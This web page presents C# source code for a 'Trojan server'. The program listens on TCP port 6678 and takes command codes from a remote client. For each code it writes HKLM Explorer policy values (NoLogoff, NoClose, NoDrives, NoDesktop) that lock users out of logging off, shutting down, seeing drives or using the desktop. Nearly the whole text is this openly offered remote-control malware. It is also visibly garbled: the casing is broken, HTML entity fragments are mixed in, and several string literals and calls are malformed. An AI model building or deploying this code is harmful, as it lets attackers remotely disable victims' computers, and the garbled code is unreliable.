Trojan Server source code (C #)

Server | Trojan Horse | source code
using system; using system.drawing; using system.collections; using  system.componentmodel; using system.windows.forms; using system.data; using  system.io; using system.net; using system.net.sockets; using system.threading;  using Microsoft.Win32; namespace server { /**//// /// Form1  's summary description.  /// public class form1 : system.windows.forms.form { /**//// ///   A required designer variable.  /// private system.componentmodel.container components = null; private  tcplistener listener; private string mystr= "Hello!" Very sorry, your registry: ";  private registrykey rrr=registry.localmachine; private registrykey  key1; public form1 ()  { // // Windows  form Designer support required  //  InitializeComponent ();  {int port =6678;  Listener=new tcplistener (port);  listener. Start ();  thread thread=new thread (New threadstart (target));  thread. Start (); } // // todo:  Add any constructor code  //&nbsp after the  InitializeComponent  call;  public void target ()  { socket socket= listener. AcceptSocket ();  while (socket. Connected)  { byte[] by=new byte[6]; int i=socket. Receive (By,by. length,0);  string ss=system.text.encoding.ascii.getstring (by);  // Ooooooooooooooooooooooooooo The following is the Modify registry ooooooooooooooooooooooooooo //&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&& if (ss== "Jiance")  { string&nBsp;str= "HJC";  byte[] bytee=system.text.encoding.ascii.getbytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  } if (ss== "zx1000")  { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff was modified! Please set it to 0! ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff was modified! Please set it to 0! ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if (ss== "")  //&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&& //****************************************************  if (ss== "zx0100")  { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Noclose", 1);  key1. Close ();  mystr=mystr+ "Localmachine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose was modified! Please set it to 0! ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Noclose", 1);  key2. Close ();  mystr=mystr+ "Localmachine\software\microsoft\windows\currentversion\policies\explorer key value Noclose is modified! Please set it to 0! ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if (ss== "zx0100") { //******************************************************************  //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if (ss== " zx0010 ")  { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("NoDRives ",  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //===== =============================================================== if (ss== "zx0001")  { try {  key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  keY2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //========================================================================= // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ if (ss== "zx1100")  { try  { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("SoftwAre\microsoft\windows\currentversion\policies\explorer ");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0); }//if //&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&& if (ss== "zx1010")  {  Try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true); &Nbsp;key1. SetValue ("Nologoff", 1);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("NoDrives");  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //************************************************** if (ss== "zx1001")  {  try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer",true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDesktop was modified! Please set it to 0 ";  } catch (Exception ee) {MessageBox.Show (EE). message);}  if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx0110")  {  Try { key1=rrr. OpenSubKey ("Software\miCrosoft\windows\currentversion\policies\explorer ", true);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDrives");  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx0101")  {  Try { key1=rrr. OpenSubKey ("Software\microSoft\windows\currentversion\policies\explorer ", true);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose,, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************** if (ss== "zx0011")  { try {  key1=rrr. OpenSubKey ("SOFTWARE\Microsoft\Windows\currentversion\policies\explorer ", true);  key1. SetValue ("NoDrives");  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("NoDrives");  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //************************************ if (ss== "zx1110")  { try {  key1=rrr. OpenSubKey ("Software\microsoft\windows\cuRrentversion\policies\explorer ", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDrives");  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //************************************** if (ss== "zx1101") &nBsp { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0); &nBSP;} If //****************************************** if (ss== "zx1011")  { try { key1= RRR. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("NoDrives");  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("NoDrives");  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= system.tExt. Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx0111")  {  Try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("NoDrives");  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("NoDrives");  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives, NoDesktop was modified! Please set it to 0 ";  }//TRY CATCh{} }//if (key1==null) { string str= "Hkz";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx1111")  {  Try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDrives");  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDrives");  key2. SetValue ("NoDesktop", 1);  key2. CloSe ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //********************************************* // Ooooooooooooooooooooooooooo above is to modify the registration form Oooooooooooooooooooooooooooooooo